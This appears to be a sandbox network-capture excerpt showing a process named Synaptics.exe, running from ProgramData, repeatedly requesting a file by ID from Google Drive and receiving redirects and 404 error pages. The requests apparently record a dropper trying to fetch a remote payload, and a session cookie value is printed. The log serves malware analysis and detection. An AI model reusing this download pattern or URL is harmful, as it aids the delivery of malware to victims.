Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.9	50160	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:14 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:14 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4cVAvrhCVJu55K_LZr3qAV0YlaXtPYhN8tJXMGHWQEYIf8C_2X5eurI8rXvXjWdJn_ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:14 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qxExPVE64mQdi6e0M4cDIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:14 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:14 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 6f 48 59 58 57 6b 72 4d 77 6e 4d 65 39 6d 71 6b 4b 50 6a 70 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="ioHYXWkrMwnMe9mqkKPjpQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:14 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.9	50164	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:15 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:16 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6y52_J0jto88mfOP07SpBorMSx1Iu_RDgiHwG736P_p_Lr4Vc1LAAbmIr2nXBlA_S7MBlAk7Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:15 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-LWn_vLWcPapakJmlyJ8Aeg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:16 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:16 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 6d 62 34 71 75 36 67 47 42 70 6d 54 33 54 73 74 61 51 45 75 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="wmb4qu6gGBpmT3TstaQEuA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:16 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.9	50165	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:15 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:15 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-87jo50peTD25xhb229eQAw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.9	50167	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:15 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:16 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5bB4cwJJfe-zqJSSDcZj7kt5LhGAehDGVkDYGqHRz9Y7n4H8zlRMcaPx1_YJedz7LKhfBUvpo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:15 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-AW6cSHoVMoEIqGun_04Mow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:16 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:16 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 51 44 58 35 2d 32 2d 64 70 5f 46 6b 31 56 67 56 62 74 47 78 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="pQDX5-2-dp_Fk1VgVbtGxA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:16 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.9	50166	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:15 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:15 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-XufJAAOzCh62lSk_XbowKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.9	50172	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:28 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:29 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5tdblVPX4kA1Ls_N8du8MzppwbFX_erEd8RXdFo281VTW-KFBnjsidPMeNCysXn1OI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:28 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-n865IQqdIM3DNS5Dsma64g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:29 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:29 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 78 51 49 70 4c 50 77 46 63 48 2d 58 56 6f 30 7a 42 4f 55 59 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="XxQIpLPwFcH-XVo0zBOUYA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:29 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.9	50173	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:28 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:28 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7xKUOk0nJXOphPRu7dzIBUJ-Q0a3Msq588wKhooxEGr57G068vetaXUp32qyyVRWMJDzCw9zw Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:28 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ILNwGMRXRCHWf-1L2_WxlA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:28 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
